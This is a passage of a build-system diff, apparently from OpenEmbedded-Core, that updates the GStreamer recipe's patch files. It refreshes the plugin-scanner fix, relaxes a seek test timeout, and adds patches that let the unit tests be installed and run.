-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 25 Jan 2018 17:55:02 +0200
-Subject: [PATCH 1/4] gst/gstpluginloader.c: when env var is set do not fall
- through to system plugin scanner
+From fd8f49dba8c09d47425da80f5faab3bfa4a7c962 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 10 Oct 2020 19:09:03 +0000
+Subject: [PATCH 1/3] gstpluginloader: when env var is set do not fall through
+ to system plugin scanner
If we set a custom GST_PLUGIN_SCANNER env var, then we probably want to use that and only that.
Falling through to the one installed on the system is problamatic in cross-compilation
environemnts, regardless of whether one pointed to by the env var succeeded or failed.
-written by: Alexander Kanavin <alex.kanavin@gmail.com>
+taken from:
+http://cgit.openembedded.org/openembedded-core/commit/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch?id=0db7ba34ca41b107042306d13a6f0162885c123b
+
+Part-of: <https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/669>
+
+Upstream-Status: Backport [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/9f958058697e6fbf5bde325228034572331d1a3a]
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/669]
Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
---
- gst/gstpluginloader.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
+ gst/gstpluginloader.c | 15 +++++++--------
+ 1 file changed, 7 insertions(+), 8 deletions(-)
diff --git a/gst/gstpluginloader.c b/gst/gstpluginloader.c
-index d1e404d..2e00c3c 100644
+index d1e404d98..c626bf263 100644
--- a/gst/gstpluginloader.c
+++ b/gst/gstpluginloader.c
-@@ -475,9 +475,7 @@ gst_plugin_loader_spawn (GstPluginLoader * loader)
+@@ -464,20 +464,19 @@ gst_plugin_loader_spawn (GstPluginLoader * loader)
+ if (loader->child_running)
+ return TRUE;
+
+- /* Find the gst-plugin-scanner: first try the env-var if it is set,
+- * otherwise use the installed version */
++ /* Find the gst-plugin-scanner */
+ env = g_getenv ("GST_PLUGIN_SCANNER_1_0");
+ if (env == NULL)
+ env = g_getenv ("GST_PLUGIN_SCANNER");
+
+ if (env != NULL && *env != '\0') {
++ /* use the env-var if it is set */
+ GST_LOG ("Trying GST_PLUGIN_SCANNER env var: %s", env);
helper_bin = g_strdup (env);
res = gst_plugin_loader_try_helper (loader, helper_bin);
g_free (helper_bin);
@@ -29,9 +46,24 @@ index d1e404d..2e00c3c 100644
-
- if (!res) {
+ } else {
++ /* use the installed version */
GST_LOG ("Trying installed plugin scanner");
#ifdef G_OS_WIN32
+@@ -497,10 +496,10 @@ gst_plugin_loader_spawn (GstPluginLoader * loader)
+ #endif
+ res = gst_plugin_loader_try_helper (loader, helper_bin);
+ g_free (helper_bin);
++ }
+
+- if (!res) {
+- GST_INFO ("No gst-plugin-scanner available, or not working");
+- }
++ if (!res) {
++ GST_INFO ("No gst-plugin-scanner available, or not working");
+ }
+
+ return loader->child_running;
--
-2.28.0
+2.29.2
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst_private.h-increse-padding-in-struct-_GstClockEnt.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst_private.h-increse-padding-in-struct-_GstClockEnt.patch
deleted file mode 100644
index a2d215d72d..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst_private.h-increse-padding-in-struct-_GstClockEnt.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 4449246a8d788e71dfe4679fba95955cec5894c1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 3 Nov 2020 22:58:26 -0800
-Subject: [PATCH] gst_private.h: increse padding in struct _GstClockEntryImpl
-
-When compiling for 32bit architectures with 64bit time_t e.g. riscv32,
-the static assert that the GstClockEntryImpl smaller or
-equal to the struct _GstClockEntryImpl triggered.
-(they were 12bytes off).
-
-To fix this, the padding is increased by 8 bytes (on 32bit).
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/694]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gst/gst_private.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gst/gst_private.h b/gst/gst_private.h
-index a8897e1..8252ede 100644
---- a/gst/gst_private.h
-+++ b/gst/gst_private.h
-@@ -522,7 +522,7 @@ struct _GstClockEntryImpl
- GstClockEntry entry;
- GWeakRef clock;
- GDestroyNotify destroy_entry;
-- gpointer padding[19]; /* padding for allowing e.g. systemclock
-+ gpointer padding[21]; /* padding for allowing e.g. systemclock
- * to add data in lieu of overridable
- * virtual functions on the clock */
- };
---
-2.29.2
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-Remove-unused-valgrind-detection.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-Remove-unused-valgrind-detection.patch
index c8bd58d471..5121044734 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-Remove-unused-valgrind-detection.patch
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-Remove-unused-valgrind-detection.patch
@@ -1,7 +1,7 @@
-From 355dd938bfb2cd36d6c3c4ed59ba1dcafdc78d95 Mon Sep 17 00:00:00 2001
+From e275ba2bd854ac15a4b65a8f07d9f042021950da Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tim-Philipp=20M=C3=BCller?= <tim@centricular.com>
Date: Fri, 14 Aug 2020 16:38:26 +0100
-Subject: [PATCH 2/4] Remove unused valgrind detection
+Subject: [PATCH 2/3] Remove unused valgrind detection
Having this just to log a debug message in case we're
running inside valgrind doesn't seem very useful, and
@@ -19,7 +19,7 @@ Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
3 files changed, 42 deletions(-)
diff --git a/gst/gst_private.h b/gst/gst_private.h
-index 1b0f02b..a8897e1 100644
+index eefd044..8252ede 100644
--- a/gst/gst_private.h
+++ b/gst/gst_private.h
@@ -116,8 +116,6 @@ G_GNUC_INTERNAL gboolean _priv_plugin_deps_env_vars_changed (GstPlugin * plugin
@@ -32,12 +32,12 @@ index 1b0f02b..a8897e1 100644
G_GNUC_INTERNAL void _priv_gst_quarks_initialize (void);
G_GNUC_INTERNAL void _priv_gst_mini_object_initialize (void);
diff --git a/gst/gstinfo.c b/gst/gstinfo.c
-index 37987d3..15f522e 100644
+index eea1a21..d3035d6 100644
--- a/gst/gstinfo.c
+++ b/gst/gstinfo.c
-@@ -304,36 +304,6 @@ static gboolean pretty_tags = PRETTY_TAGS_DEFAULT;
- static volatile gint G_GNUC_MAY_ALIAS __default_level = GST_LEVEL_DEFAULT;
- static volatile gint G_GNUC_MAY_ALIAS __use_color = GST_DEBUG_COLOR_MODE_ON;
+@@ -305,36 +305,6 @@ static gboolean pretty_tags = PRETTY_TAGS_DEFAULT;
+ static gint G_GNUC_MAY_ALIAS __default_level = GST_LEVEL_DEFAULT;
+ static gint G_GNUC_MAY_ALIAS __use_color = GST_DEBUG_COLOR_MODE_ON;
-/* FIXME: export this? */
-gboolean
@@ -72,7 +72,7 @@ index 37987d3..15f522e 100644
static gchar *
_replace_pattern_in_gst_debug_file_name (gchar * name, const char *token,
guint val)
-@@ -462,9 +432,6 @@ _priv_gst_debug_init (void)
+@@ -463,9 +433,6 @@ _priv_gst_debug_init (void)
_priv_GST_CAT_PROTECTION =
_gst_debug_category_new ("GST_PROTECTION", 0, "protection");
@@ -82,7 +82,7 @@ index 37987d3..15f522e 100644
env = g_getenv ("GST_DEBUG_OPTIONS");
if (env != NULL) {
if (strstr (env, "full_tags") || strstr (env, "full-tags"))
-@@ -2502,12 +2469,6 @@ gst_debug_construct_win_color (guint colorinfo)
+@@ -2505,12 +2472,6 @@ gst_debug_construct_win_color (guint colorinfo)
return 0;
}
@@ -96,7 +96,7 @@ index 37987d3..15f522e 100644
_gst_debug_dump_mem (GstDebugCategory * cat, const gchar * file,
const gchar * func, gint line, GObject * obj, const gchar * msg,
diff --git a/meson.build b/meson.build
-index f95b4f7..143c043 100644
+index 82a1728..42ae617 100644
--- a/meson.build
+++ b/meson.build
@@ -200,7 +200,6 @@ check_headers = [
@@ -108,5 +108,5 @@ index f95b4f7..143c043 100644
'sys/uio.h',
]
--
-2.28.0
+2.29.2
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-option-for-installed-tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-option-for-installed-tests.patch
deleted file mode 100644
index 1c0e1f8171..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-option-for-installed-tests.patch
+++ /dev/null
@@ -1,257 +0,0 @@
-From 24867db22a5cc35e7643bc218e959ce56c306aca Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <crg7475@mailbox.org>
-Date: Fri, 25 Oct 2019 00:06:26 +0200
-Subject: [PATCH 3/4] meson: Add option for installed tests
-
-This adds an option for producing installed versions of the unit tests.
-These versions don't need meson to run (only a small shell script). This
-makes it easier to run cross compiled tests on a target machine.
-
-Upstream-Status: Pending
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- build-aux/gen-installed-test-desc.py | 18 ++++++
- build-aux/gen-installed-test-shscript.py | 25 ++++++++
- meson_options.txt | 2 +
- tests/check/meson.build | 46 +++++++++++++-
- tests/files/testfile | 80 ++++++++++++++++++++++++
- 5 files changed, 170 insertions(+), 1 deletion(-)
- create mode 100644 build-aux/gen-installed-test-desc.py
- create mode 100644 build-aux/gen-installed-test-shscript.py
- create mode 100644 tests/files/testfile
-
-diff --git a/build-aux/gen-installed-test-desc.py b/build-aux/gen-installed-test-desc.py
-new file mode 100644
-index 0000000..69e8a0f
---- /dev/null
-+++ b/build-aux/gen-installed-test-desc.py
-@@ -0,0 +1,18 @@
-+import sys
-+import os
-+import argparse
-+
-+def write_template(filename, data):
-+ with open(filename, 'w') as f:
-+ f.write(data)
-+
-+def build_template(testdir, testname):
-+ return "[Test]\nType=session\nExec={}\n".format(os.path.join(testdir, testname))
-+
-+argparser = argparse.ArgumentParser(description='Generate installed-test data.')
-+argparser.add_argument('--test-execdir', metavar='dir', required=True, help='Installed test directory')
-+argparser.add_argument('--testname', metavar='name', required=True, help='Installed test name')
-+argparser.add_argument('--output', metavar='file', required=True, help='Output file')
-+args = argparser.parse_args()
-+
-+write_template(args.output, build_template(args.test_execdir, args.testname))
-diff --git a/build-aux/gen-installed-test-shscript.py b/build-aux/gen-installed-test-shscript.py
-new file mode 100644
-index 0000000..5da86fb
---- /dev/null
-+++ b/build-aux/gen-installed-test-shscript.py
-@@ -0,0 +1,25 @@
-+import sys
-+import os
-+import argparse
-+
-+def write_template(filename, data):
-+ with open(filename, 'w') as f:
-+ f.write(data)
-+
-+def build_template(testdir, testname):
-+ return ''.join([
-+ "#!/usr/bin/env sh\n",
-+ "export GST_STATE_IGNORE_ELEMENTS=''\n",
-+ "export CK_DEFAULT_TIMEOUT=20\n",
-+ "export GST_PLUGIN_LOADING_WHITELIST='gstreamer'\n",
-+ "{}\n".format(os.path.join(testdir, testname)),
-+ ])
-+
-+argparser = argparse.ArgumentParser(description='Generate installed-test data.')
-+argparser.add_argument('--test-execdir', metavar='dir', required=True, help='Installed test directory')
-+argparser.add_argument('--testname', metavar='name', required=True, help='Installed test name')
-+argparser.add_argument('--output', metavar='file', required=True, help='Output file')
-+args = argparser.parse_args()
-+
-+write_template(args.output, build_template(args.test_execdir, args.testname))
-+os.chmod(args.output, 0o755)
-diff --git a/meson_options.txt b/meson_options.txt
-index 72c3997..346c423 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -15,6 +15,8 @@ option('poisoning', type : 'boolean', value : false, description : 'Enable poiso
- option('memory-alignment', type: 'combo',
- choices : ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512', '1024', '2048', '4096', '8192', 'malloc', 'pagesize'],
- value: 'malloc')
-+option('installed-tests', type : 'boolean', value : false, description : 'enable installed tests')
-+option('test-files-path', type : 'string', description : 'Path where to find test files')
-
- # Feature options
- option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
-diff --git a/tests/check/meson.build b/tests/check/meson.build
-index 372ea41..bb0dcfa 100644
---- a/tests/check/meson.build
-+++ b/tests/check/meson.build
-@@ -120,11 +120,17 @@ if add_languages('cpp', native: false, required: false)
- ]
- endif
-
-+test_files_path = get_option('test-files-path')
-+if test_files_path == ''
-+ test_files_path = meson.current_source_dir() + '/../files'
-+endif
-+message('Using path "@0@" as the path to read test files from'.format(test_files_path))
-+
- test_defines = [
- '-UG_DISABLE_ASSERT',
- '-UG_DISABLE_CAST_CHECKS',
- '-DGST_CHECK_TEST_ENVIRONMENT_BEACON="GST_STATE_IGNORE_ELEMENTS"',
-- '-DTESTFILE="' + meson.current_source_dir() + '/meson.build"',
-+ '-DTESTFILE="@0@"'.format(test_files_path + '/testfile'),
- '-DGST_DISABLE_DEPRECATED',
- ]
-
-@@ -138,6 +144,14 @@ endif
- glib_deps = [gio_dep, gobject_dep, gmodule_dep, glib_dep]
- gst_deps = [gst_dep, gst_base_dep, gst_check_dep, gst_net_dep, gst_controller_dep]
-
-+installed_tests_datadir = join_paths(prefix, get_option('datadir'), 'installed-tests', 'gstreamer-1.0')
-+installed_tests_execdir = join_paths(prefix, libexecdir, 'installed-tests', 'gstreamer-1.0')
-+installed_tests_enabled = get_option('installed-tests')
-+
-+python = import('python').find_installation()
-+gen_installed_test_desc = files('../../build-aux/gen-installed-test-desc.py')
-+gen_installed_test_shscript = files('../../build-aux/gen-installed-test-shscript.py')
-+
- foreach t : core_tests
- fname = t[0]
- test_name = fname.split('.')[0].underscorify()
-@@ -151,8 +165,38 @@ foreach t : core_tests
- include_directories : [configinc],
- link_with : link_with_libs,
- dependencies : test_deps + glib_deps + gst_deps,
-+ install_dir: installed_tests_execdir,
-+ install: installed_tests_enabled
- )
-
-+ if installed_tests_enabled
-+ installed_test_shscript = test_name + '.sh'
-+ shscript = custom_target (test_name + '_shscript',
-+ output: installed_test_shscript,
-+ command: [
-+ python,
-+ gen_installed_test_shscript,
-+ '--test-execdir=@0@'.format(installed_tests_execdir),
-+ '--testname=@0@'.format(test_name),
-+ '--output=@0@'.format(join_paths('@OUTDIR@', installed_test_shscript)),
-+ ],
-+ install: true,
-+ install_dir: installed_tests_execdir)
-+
-+ installed_test_desc = test_name + '.test'
-+ data = custom_target(test_name + '_desc',
-+ output: installed_test_desc,
-+ command: [
-+ python,
-+ gen_installed_test_desc,
-+ '--test-execdir=@0@'.format(installed_tests_execdir),
-+ '--testname=@0@'.format(installed_test_shscript),
-+ '--output=@0@'.format(join_paths('@OUTDIR@', installed_test_desc)),
-+ ],
-+ install: true,
-+ install_dir: installed_tests_datadir)
-+ endif
-+
- env = environment()
- env.set('GST_PLUGIN_PATH_1_0', meson.build_root())
- env.set('GST_PLUGIN_SYSTEM_PATH_1_0', '')
-diff --git a/tests/files/testfile b/tests/files/testfile
-new file mode 100644
-index 0000000..89954e0
---- /dev/null
-+++ b/tests/files/testfile
-@@ -0,0 +1,80 @@
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
-+................................................................................
---
-2.28.0
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-seek-Don-t-use-too-strict-timeout-for-validati.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-seek-Don-t-use-too-strict-timeout-for-validati.patch
new file mode 100644
index 0000000000..e0e64e2c7a
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-seek-Don-t-use-too-strict-timeout-for-validati.patch
@@ -0,0 +1,32 @@
+From 1db36347d05d88835519368442e9aa89c64091ad Mon Sep 17 00:00:00 2001
+From: Seungha Yang <seungha@centricular.com>
+Date: Tue, 15 Sep 2020 00:54:58 +0900
+Subject: [PATCH] tests: seek: Don't use too strict timeout for validation
+
+Expected segment-done message might not be seen within expected
+time if system is not powerful enough.
+
+Part-of: <https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/625>
+
+Upstream-Status: Backport [https://cgit.freedesktop.org/gstreamer/gstreamer/commit?id=f44312ae5d831438fcf8041162079c65321c588c]
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+---
+ tests/check/pipelines/seek.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/check/pipelines/seek.c b/tests/check/pipelines/seek.c
+index 28bb8846d..5f7447bc5 100644
+--- a/tests/check/pipelines/seek.c
++++ b/tests/check/pipelines/seek.c
+@@ -521,7 +521,7 @@ GST_START_TEST (test_loopback_2)
+
+ GST_INFO ("wait for segment done message");
+
+- msg = gst_bus_timed_pop_filtered (bus, (GstClockTime) 2 * GST_SECOND,
++ msg = gst_bus_timed_pop_filtered (bus, GST_CLOCK_TIME_NONE,
+ GST_MESSAGE_SEGMENT_DONE | GST_MESSAGE_ERROR);
+ fail_unless (msg, "no message within the timed window");
+ fail_unless_equals_string (GST_MESSAGE_TYPE_NAME (msg), "segment-done");
+--
+2.29.2
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-respect-the-idententaion-used-in-meson.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-respect-the-idententaion-used-in-meson.patch
new file mode 100644
index 0000000000..6f571a12d8
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-respect-the-idententaion-used-in-meson.patch
@@ -0,0 +1,36 @@
+From 122e5ac3dd16a461b6ae595605490c8f5d1c3a9d Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH 1/4] tests: respect the idententaion used in meson
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ tests/check/meson.build | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index a617cf159..b2636714b 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -146,11 +146,11 @@ foreach t : core_tests
+
+ if not skip_test
+ exe = executable(test_name, fname,
+- c_args : gst_c_args + test_defines,
+- cpp_args : gst_c_args + test_defines,
+- include_directories : [configinc],
+- link_with : link_with_libs,
+- dependencies : test_deps + glib_deps + gst_deps,
++ c_args : gst_c_args + test_defines,
++ cpp_args : gst_c_args + test_defines,
++ include_directories : [configinc],
++ link_with : link_with_libs,
++ dependencies : test_deps + glib_deps + gst_deps,
+ )
+
+ env = environment()
+--
+2.31.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-add-support-for-install-the-tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-add-support-for-install-the-tests.patch
new file mode 100644
index 0000000000..b77fb5797f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-add-support-for-install-the-tests.patch
@@ -0,0 +1,110 @@
+From c9e93c7a3e4d2773abef4f5e1464af24f36700b3 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH 2/4] tests: add support for install the tests
+
+This will provide to run the tests using the gnome-desktop-testing [1]
+
+[1] https://wiki.gnome.org/Initiatives/GnomeGoals/InstalledTests
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ meson.build | 5 +++++
+ meson_options.txt | 1 +
+ template.test.in | 3 +++
+ tests/check/meson.build | 22 +++++++++++++++++++++-
+ 4 files changed, 30 insertions(+), 1 deletion(-)
+ create mode 100644 template.test.in
+
+diff --git a/meson.build b/meson.build
+index c4e8774f5..1abf4eb26 100644
+--- a/meson.build
++++ b/meson.build
+@@ -562,6 +562,11 @@ if bashcomp_dep.found()
+ endif
+ endif
+
++installed_tests_metadir = join_paths(datadir, 'installed-tests', meson.project_name())
++installed_tests_execdir = join_paths(libexecdir, 'installed-tests', meson.project_name())
++installed_tests_enabled = get_option('installed-tests')
++installed_tests_template = files('template.test.in')
++
+ plugins_install_dir = join_paths(get_option('libdir'), 'gstreamer-1.0')
+
+ pkgconfig = import('pkgconfig')
+diff --git a/meson_options.txt b/meson_options.txt
+index c8cee3762..b5da40eaa 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -15,6 +15,7 @@ option('poisoning', type : 'boolean', value : false, description : 'Enable poiso
+ option('memory-alignment', type: 'combo',
+ choices : ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512', '1024', '2048', '4096', '8192', 'malloc', 'pagesize'],
+ value: 'malloc')
++option('installed-tests', type : 'boolean', value : false, description : 'Enable installed tests')
+
+ # Feature options
+ option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
+diff --git a/template.test.in b/template.test.in
+new file mode 100644
+index 000000000..f701627f8
+--- /dev/null
++++ b/template.test.in
+@@ -0,0 +1,3 @@
++[Test]
++Type=session
++Exec=@installed_tests_dir@/@program@
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index b2636714b..a697a7b06 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -124,10 +124,16 @@ test_defines = [
+ '-UG_DISABLE_ASSERT',
+ '-UG_DISABLE_CAST_CHECKS',
+ '-DGST_CHECK_TEST_ENVIRONMENT_BEACON="GST_STATE_IGNORE_ELEMENTS"',
+- '-DTESTFILE="' + meson.current_source_dir() + '/meson.build"',
+ '-DGST_DISABLE_DEPRECATED',
+ ]
+
++testfile = meson.current_source_dir() + '/meson.build'
++if installed_tests_enabled
++ install_data(testfile, install_dir : installed_tests_metadir, rename : 'testfile')
++ testfile = installed_tests_metadir + '/testfile'
++endif
++test_defines += '-DTESTFILE="@0@"'.format(testfile)
++
+ # sanity checking
+ if get_option('check').disabled()
+ if get_option('tests').enabled()
+@@ -151,6 +157,8 @@ foreach t : core_tests
+ include_directories : [configinc],
+ link_with : link_with_libs,
+ dependencies : test_deps + glib_deps + gst_deps,
++ install_dir: installed_tests_execdir,
++ install: installed_tests_enabled,
+ )
+
+ env = environment()
+@@ -162,6 +170,18 @@ foreach t : core_tests
+ env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+ env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
+
++ if installed_tests_enabled
++ test_conf = configuration_data()
++ test_conf.set('installed_tests_dir', join_paths(prefix, installed_tests_execdir))
++ test_conf.set('program', test_name)
++ configure_file(
++ input: installed_tests_template,
++ output: test_name + '.test',
++ install_dir: installed_tests_metadir,
++ configuration: test_conf
++ )
++ endif
++
+ test(test_name, exe, env: env, timeout : 3 * 60)
+ endif
+ endforeach
+--
+2.31.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0006-tests-use-a-dictionaries-for-environment.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0006-tests-use-a-dictionaries-for-environment.patch
new file mode 100644
index 0000000000..46813cec3d
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0006-tests-use-a-dictionaries-for-environment.patch
@@ -0,0 +1,48 @@
+From e82dedec1803922656e92285fc1bb75b2cdc0aad Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 24 Apr 2021 10:34:47 +0100
+Subject: [PATCH 3/4] tests: use a dictionaries for environment
+
+meson environment() can't be passed to configure_file and it is needed for installed_tests,
+use a dictionary as this is simplest solution to install the environment.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ tests/check/meson.build | 19 +++++++++++--------
+ 1 file changed, 11 insertions(+), 8 deletions(-)
+
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index a697a7b06..f64524904 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -161,14 +161,17 @@ foreach t : core_tests
+ install: installed_tests_enabled,
+ )
+
+- env = environment()
+- env.set('GST_PLUGIN_PATH_1_0', meson.build_root())
+- env.set('GST_PLUGIN_SYSTEM_PATH_1_0', '')
+- env.set('GST_STATE_IGNORE_ELEMENTS', '')
+- env.set('CK_DEFAULT_TIMEOUT', '20')
+- env.set('GST_REGISTRY', '@0@/@1@.registry'.format(meson.current_build_dir(), test_name))
+- env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+- env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
++ # environment() can't be passed to configure_file and it is needed for installed_tests
++ # use a dictionary as this is simplest solution to install the environment
++ env = {
++ 'GST_PLUGIN_PATH_1_0': meson.build_root(),
++ 'GST_PLUGIN_SYSTEM_PATH_1_0': '',
++ 'GST_STATE_IGNORE_ELEMENTS': '',
++ 'CK_DEFAULT_TIMEOUT': '20',
++ 'GST_REGISTRY': '@0@/@1@.registry'.format(meson.current_build_dir(), test_name),
++ 'GST_PLUGIN_SCANNER_1_0': gst_scanner_dir + '/gst-plugin-scanner',
++ 'GST_PLUGIN_LOADING_WHITELIST': 'gstreamer',
++ }
+
+ if installed_tests_enabled
+ test_conf = configuration_data()
+--
+2.31.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0007-tests-install-the-environment-for-installed_tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0007-tests-install-the-environment-for-installed_tests.patch
new file mode 100644
index 0000000000..eabe7bcbe1
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0007-tests-install-the-environment-for-installed_tests.patch
@@ -0,0 +1,58 @@
+From 57d2965e979f886e03eecd7e351bf01812053971 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 2 May 2021 01:58:01 +0100
+Subject: [PATCH 4/4] tests: install the environment for installed_tests
+
+- adapt the test environment for installed_tests
+- install the test environment for installed_tests
+- run the tests using the installed environment
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ template.test.in | 2 +-
+ tests/check/meson.build | 18 ++++++++++++++++++
+ 2 files changed, 19 insertions(+), 1 deletion(-)
+
+diff --git a/template.test.in b/template.test.in
+index f701627f8..9a3fbdd09 100644
+--- a/template.test.in
++++ b/template.test.in
+@@ -1,3 +1,3 @@
+ [Test]
+ Type=session
+-Exec=@installed_tests_dir@/@program@
++Exec=sh -c 'set -aex && source @installed_tests_dir@/@program@.env && exec @installed_tests_dir@/@program@'
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index f64524904..a67e0f8dd 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -183,6 +183,24 @@ foreach t : core_tests
+ install_dir: installed_tests_metadir,
+ configuration: test_conf
+ )
++
++ env += {'GST_REGISTRY': '~/.cache/gstreamer-1.0/@0@.registry'.format(test_name)}
++ configure_file(
++ output: test_name + '.env',
++ install_dir: installed_tests_execdir,
++ configuration : env,
++ )
++ # helper to convert a meson environment dictionay object exported with configure_file
++ # this also remove not needed variables for the installed tests
++ meson.add_postconf_script('sed', '-i',
++ '-e', '/^#define/!d',
++ '-e', 's/^#define //g',
++ '-e', '/^GST_PLUGIN_PATH_1_0/d',
++ '-e', '/^GST_PLUGIN_SYSTEM_PATH_1_0/d',
++ '-e', '/^GST_PLUGIN_SCANNER_1_0/d',
++ '-e', 's/ /=/',
++ join_paths(meson.current_build_dir(), test_name + '.env')
++ )
+ endif
+
+ test(test_name, exe, env: env, timeout : 3 * 60)
+--
+2.31.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
new file mode 100755
index 0000000000..0cfa955f03
--- /dev/null
